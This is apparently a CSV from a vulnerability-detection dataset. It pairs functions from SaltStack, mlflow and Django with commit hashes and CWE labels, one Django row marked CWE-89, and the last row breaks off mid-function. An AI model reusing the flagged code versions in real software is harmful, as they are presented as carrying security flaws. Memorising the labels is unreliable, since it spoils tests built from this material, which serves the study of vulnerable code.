                                         and not stat.S_ISDIR(x)),
                     (contents['links'], stat.S_ISLNK)):
                for path in path_list:
                    full_path = salt.utils.path.join(name, path)
                    try:
                        path_mode = os.lstat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                            contents_missing = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.lstat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (file instead of directory, symlink '
                    'instead of file, etc.).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            ' To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                                extraction_needed = True
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    if not extraction_needed \
            and source_hash_update \
            and existing_cached_source_sum is not None \
            and not _compare_checksum(cached, existing_cached_source_sum):
        extraction_needed = True
        source_hash_trigger = True
    else:
        source_hash_trigger = False

    created_destdir = False

    if extraction_needed:
        if source_is_local and source_hash and not skip_verify:
            ret['result'] = __salt__['file.check_hash'](source_match, source_sum['hsum'])
            if not ret['result']:
                ret['comment'] = \
                    '{0} does not match the desired source_hash {1}'.format(
                        salt.utils.url.redact_http_basic_auth(source_match),
                        source_sum['hsum']
                    )
                return ret

        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    salt.utils.url.redact_http_basic_auth(source_match),
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            _add_explanation(ret, source_hash_trigger, contents_missing)
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
            __states__['file.directory'](name, user=user, makedirs=True)
            created_destdir = True

        log.debug('Extracting %s to %s', cached, name)
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached,
                            name,
                            options=options,
                            trim_output=trim_output,
                            password=password,
                            **kwargs)
                    except (CommandExecutionError, CommandNotFoundError) as exc:
                        ret['comment'] = exc.strerror
                        return ret
                else:
                    files = __salt__['archive.unzip'](cached,
                                                      name,
                                                      options=options,
                                                      trim_output=trim_output,
                                                      password=password,
                                                      extract_perms=extract_perms,
                                                      **kwargs)
            elif archive_format == 'rar':
                try:
                    files = __salt__['archive.unrar'](cached,
                                                      name,
                                                      trim_output=trim_output,
                                                      **kwargs)
                except (CommandExecutionError, CommandNotFoundError) as exc:
                    ret['comment'] = exc.strerror
                    return ret
            else:
                if options is None:
                    try:
                        with closing(tarfile.open(cached, 'r')) as tar:
                            tar.extractall(salt.utils.stringutils.to_str(name))
                            files = tar.getnames()
                            if trim_output:
                                files = files[:trim_output]
                    except tarfile.ReadError:
                        if salt.utils.path.which('xz'):
                            if __salt__['cmd.retcode'](
                                    ['xz', '-t', cached],
                                    python_shell=False,
                                    ignore_retcode=True) == 0:
                                # XZ-compressed data
                                log.debug(
                                    'Tar file is XZ-compressed, attempting '
                                    'decompression and extraction using XZ Utils '
                                    'and the tar command'
                                )
                                # Must use python_shell=True here because not
                                # all tar implementations support the -J flag
                                # for decompressing XZ-compressed data. We need
                                # to dump the decompressed data to stdout and
                                # pipe it to tar for extraction.
                                cmd = 'xz --decompress --stdout {0} | tar xvf -'
                                results = __salt__['cmd.run_all'](
                                    cmd.format(_cmd_quote(cached)),
                                    cwd=name,
                                    python_shell=True)
                                if results['retcode'] != 0:
                                    if created_destdir:
                                        _cleanup_destdir(name)
                                    ret['result'] = False
                                    ret['changes'] = results
                                    return ret
                                if _is_bsdtar():
                                    files = results['stderr']
                                else:
                                    files = results['stdout']
                            else:
                                # Failed to open tar archive and it is not
                                # XZ-compressed, gracefully fail the state
                                if created_destdir:
                                    _cleanup_destdir(name)
                                ret['result'] = False
                                ret['comment'] = (
                                    'Failed to read from tar archive using '
                                    'Python\'s native tar file support. If '
                                    'archive is compressed using something '
                                    'other than gzip or bzip2, the '
                                    '\'options\' argument may be required to '
                                    'pass the correct options to the tar '
                                    'command in order to extract the archive.'
                                )
                                return ret
                        else:
                            if created_destdir:
                                _cleanup_destdir(name)
                            ret['result'] = False
                            ret['comment'] = (
                                'Failed to read from tar archive. If it is '
                                'XZ-compressed, install xz-utils to attempt '
                                'extraction.'
                            )
                            return ret
                else:
                    if not salt.utils.path.which('tar'):
                        ret['comment'] = (
                            'tar command not available, it might not be '
                            'installed on minion'
                        )
                        return ret

                    tar_opts = shlex.split(options)

                    tar_cmd = ['tar']
                    tar_shortopts = 'x'
                    tar_longopts = []

                    for position, opt in enumerate(tar_opts):
                        if opt.startswith('-'):
                            tar_longopts.append(opt)
                        else:
                            if position > 0:
                                tar_longopts.append(opt)
                            else:
                                append_opt = opt
                                append_opt = append_opt.replace('x', '')
                                append_opt = append_opt.replace('f', '')
                                tar_shortopts = tar_shortopts + append_opt

                    if __grains__['os'].lower() == 'openbsd':
                        tar_shortopts = '-' + tar_shortopts

                    tar_cmd.append(tar_shortopts)
                    tar_cmd.extend(tar_longopts)
                    tar_cmd.extend(['-f', cached])

                    results = __salt__['cmd.run_all'](tar_cmd,
                                                      cwd=name,
                                                      python_shell=False)
                    if results['retcode'] != 0:
                        ret['result'] = False
                        ret['changes'] = results
                        return ret
                    if _is_bsdtar():
                        files = results['stderr']
                    else:
                        files = results['stdout']
                    if not files:
                        files = 'no tar output so far'
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret

    # Recursively set user and group ownership of files
    enforce_missing = []
    enforce_failed = []
    if user or group:
        if enforce_ownership_on:
            if os.path.isdir(enforce_ownership_on):
                enforce_dirs = [enforce_ownership_on]
                enforce_files = []
                enforce_links = []
            else:
                enforce_dirs = []
                enforce_files = [enforce_ownership_on]
                enforce_links = []
        else:
            if contents is not None:
                enforce_dirs = contents['top_level_dirs']
                enforce_files = contents['top_level_files']
                enforce_links = contents['top_level_links']

        recurse = []
        if user:
            recurse.append('user')
        if group:
            recurse.append('group')
        recurse_str = ', '.join(recurse)

        owner_changes = dict([
            (x, y) for x, y in (('user', user), ('group', group)) if y
        ])
        for dirname in enforce_dirs:
            full_path = os.path.join(name, dirname)
            if not os.path.isdir(full_path):
                if not __opts__['test']:
                    enforce_missing.append(full_path)
            else:
                log.debug(
                    'Enforcing %s ownership on %s using a file.directory state%s',
                    recurse_str,
                    dirname,
                    ' (dry-run only)' if __opts__['test'] else ''
                )
                dir_result = __states__['file.directory'](full_path,
                                                          user=user,
                                                          group=group,
                                                          recurse=recurse)
                log.debug('file.directory: %s', dir_result)

                if dir_result.get('changes'):
                    ret['changes']['updated ownership'] = True
                try:
                    if not dir_result['result']:
                        enforce_failed.append(full_path)
                except (KeyError, TypeError):
                    log.warning(
                        'Bad state return %s for file.directory state on %s',
                        dir_result, dirname
                    )

        for filename in enforce_files + enforce_links:
            full_path = os.path.join(name, filename)
            try:
                # Using os.lstat instead of calling out to
                # __salt__['file.stats'], since we may be doing this for a lot
                # of files, and simply calling os.lstat directly will speed
                # things up a bit.
                file_stat = os.lstat(full_path)
            except OSError as exc:
                if not __opts__['test']:
                    if exc.errno == errno.ENOENT:
                        enforce_missing.append(full_path)
                    enforce_failed.append(full_path)
            else:
                # Earlier we set uid, gid to -1 if we're not enforcing
                # ownership on user, group, as passing -1 to os.chown will tell
                # it not to change that ownership. Since we've done that, we
                # can selectively compare the uid/gid from the values in
                # file_stat, _only if_ the ""desired"" uid/gid is something other
                # than -1.
                if (uid != -1 and uid != file_stat.st_uid) \
                        or (gid != -1 and gid != file_stat.st_gid):
                    if __opts__['test']:
                        ret['changes']['updated ownership'] = True
                    else:
                        try:
                            os.lchown(full_path, uid, gid)
                            ret['changes']['updated ownership'] = True
                        except OSError:
                            enforce_failed.append(filename)

    if extraction_needed:
        if len(files) > 0:
            if created_destdir:
                ret['changes']['directories_created'] = [name]
            ret['changes']['extracted_files'] = files
            ret['comment'] = '{0} extracted to {1}'.format(
                salt.utils.url.redact_http_basic_auth(source_match),
                name,
            )
            _add_explanation(ret, source_hash_trigger, contents_missing)
            ret['result'] = True

        else:
            ret['result'] = False
            ret['comment'] = 'No files were extracted from {0}'.format(
                salt.utils.url.redact_http_basic_auth(source_match)
            )
    else:
        ret['result'] = True
        if if_missing_path_exists:
            ret['comment'] = '{0} exists'.format(if_missing)
        else:
            ret['comment'] = 'All files in archive are already present'
        if __opts__['test']:
            if ret['changes'].get('updated ownership'):
                ret['result'] = None
                ret['comment'] += (
                    '. Ownership would be updated on one or more '
                    'files/directories.'
                )

    if enforce_missing:
        if not if_missing:
            # If is_missing was used, and both a) the archive had never been
            # extracted, and b) the path referred to by if_missing exists, then
            # enforce_missing would contain paths of top_level dirs/files that
            # _would_ have been extracted. Since if_missing can be used as a
            # semaphore to conditionally extract, we don't want to make this a
            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    if not source_is_local:
        if keep_source:
            log.debug('Keeping cached source file %s', cached)
        else:
            log.debug('Cleaning cached source file %s', cached)
            result = __states__['file.not_cached'](source_match, saltenv=__env__)
            if not result['result']:
                # Don't let failure to delete cached file cause the state
                # itself to fail, just drop it in the warnings.
                ret.setdefault('warnings', []).append(result['comment'])

    return ret"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/evaluation/fluent.py,0,"def _add_assessment_to_df(
    assessments_df: pd.DataFrame, assessment: AssessmentEntity, evaluation_id: str
) -> pd.DataFrame:
    """"""
    Adds or updates an assessment in the assessments DataFrame.

    Args:
        assessments_df (pd.DataFrame): The DataFrame containing existing assessments.
        assessment (Assessment): The new assessment to add or update.
        evaluation_id (str): The ID of the evaluation.

    Returns:
        pd.DataFrame: The updated DataFrame with the new or updated assessment.
    """"""
    # Get assessments with the same name and verify that the type is the same (boolean,
    # numeric, or string)
    existing_assessments_matching_name_df = assessments_df[
        (assessments_df[""evaluation_id""] == evaluation_id)
        & (assessments_df[""name""] == assessment.name)
    ]
    existing_assessments_matching_name = [
        AssessmentEntity.from_dictionary(assess)
        for assess in existing_assessments_matching_name_df.to_dict(orient=""records"")
    ]
    if existing_assessments_matching_name:
        existing_assessments_value_type = existing_assessments_matching_name[0].get_value_type()
        if not all(
            assessment.get_value_type() == existing_assessment.get_value_type()
            for existing_assessment in existing_assessments_matching_name
        ):
            raise MlflowException(
                f""Assessment with name '{assessment.name}' has value type ""
                f""'{assessment.get_value_type()}' that does not match the value type ""
                f""'{existing_assessments_value_type}' of existing assessments with the same name."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    # Check if assessment with the same name and source already exists
    matching_idx = None
    for idx, row in assessments_df.iterrows():
        if (
            row[""evaluation_id""] == evaluation_id
            and row[""name""] == assessment.name
            and row[""source""] == assessment.source.to_dictionary()
            and row[""metadata""] == assessment.metadata
        ):
            matching_idx = idx
            break

    if matching_idx is not None:
        # Update existing assessment
        assessments_df.iloc[matching_idx] = assessment.to_dictionary()
    else:
        # Append new assessment
        assessments_df = append_to_assessments_dataframe(assessments_df, [assessment])

    return assessments_df",,mlflow/mlflow,a06ca1b94bec034511cd3281e3c77cddadb87917,"def _add_assessment_to_df(
    assessments_df: pd.DataFrame, assessment: AssessmentEntity, evaluation_id: str
) -> pd.DataFrame:
    """"""
    Adds or updates an assessment in the assessments DataFrame.

    Args:
        assessments_df (pd.DataFrame): The DataFrame containing existing assessments.
        assessment (Assessment): The new assessment to add or update.
        evaluation_id (str): The ID of the evaluation.

    Returns:
        pd.DataFrame: The updated DataFrame with the new or updated assessment.
    """"""
    # Get assessments with the same name and verify that the type is the same (boolean,
    # numeric, or string)
    existing_assessments_matching_name_df = assessments_df[
        (assessments_df[""evaluation_id""] == evaluation_id)
        & (assessments_df[""name""] == assessment.name)
    ]
    existing_assessments_matching_name = [
        AssessmentEntity.from_dictionary(assess)
        for assess in existing_assessments_matching_name_df.to_dict(orient=""records"")
    ]
    if existing_assessments_matching_name:
        existing_assessments_value_type = existing_assessments_matching_name[0].get_value_type()
        if not all(
            assessment.get_value_type() == existing_assessment.get_value_type()
            for existing_assessment in existing_assessments_matching_name
        ):
            raise MlflowException(
                f""Assessment with name '{assessment.name}' has value type ""
                f""'{assessment.get_value_type()}' that does not match the value type ""
                f""'{existing_assessments_value_type}' of existing assessments with the same name."",
                error_code=INVALID_PARAMETER_VALUE,
            )

    # Check if assessment with the same name and source already exists
    matching_idx = None
    for idx, row in assessments_df.iterrows():
        if (
            row[""evaluation_id""] == evaluation_id
            and row[""name""] == assessment.name
            and row[""source""] == assessment.source.to_dictionary()
        ):
            matching_idx = idx
            break

    if matching_idx is not None:
        # Update existing assessment
        assessments_df.iloc[matching_idx] = assessment.to_dictionary()
    else:
        # Append new assessment
        assessments_df = append_to_assessments_dataframe(assessments_df, [assessment])

    return assessments_df"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Perform a ""physical"" (non-ManyToMany) field update.""""""
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.remote_field and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        # Remove indexes if db_index switched to False or a unique constraint
        # will now be used in lieu of an index. The following lines from the
        # truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # True               | False            | False              | False
        # True               | False            | False              | True
        # True               | False            | True               | True
        if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(
                model._meta.db_table, old_field, new_field, new_type
            )
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_field.null and
            not new_field.null and
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if (self.connection.features.interprets_empty_strings_as_nulls and
                    new_field.get_internal_type() in (""CharField"", ""TextField"")):
                # The field is nullable in the database anyway, leave it alone
                pass
            elif new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if (not old_field.unique and new_field.unique) or (
            old_field.primary_key and not new_field.primary_key and new_field.unique
        ):
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index? Add an index if db_index switched to True or a unique
        # constraint will no longer be used in lieu of an index. The following
        # lines from the truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # False              | False            | True               | False
        # False              | True             | True               | False
        # True               | True             | True               | False
        if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
            self.execute(self._create_index_sql(model, [new_field]))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model._meta.db_table, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (new_field.remote_field and
                (fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.related_objects:
                if not rel.many_to_many:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                    ""type"": new_type,
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()",CWE-89,django/django,35c0025151ad411e691a2fa62a0dd3507ebafd82,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Perform a ""physical"" (non-ManyToMany) field update.""""""
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.remote_field and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        # Remove indexes if db_index switched to False or a unique constraint
        # will now be used in lieu of an index. The following lines from the
        # truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # True               | False            | False              | False
        # True               | False            | False              | True
        # True               | False            | True               | True
        if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(
                model._meta.db_table, old_field, new_field, new_type
            )
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if (self.connection.features.interprets_empty_strings_as_nulls and
                    new_field.get_internal_type() in (""CharField"", ""TextField"")):
                # The field is nullable in the database anyway, leave it alone
                pass
            elif new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if (not old_field.unique and new_field.unique) or (
            old_field.primary_key and not new_field.primary_key and new_field.unique
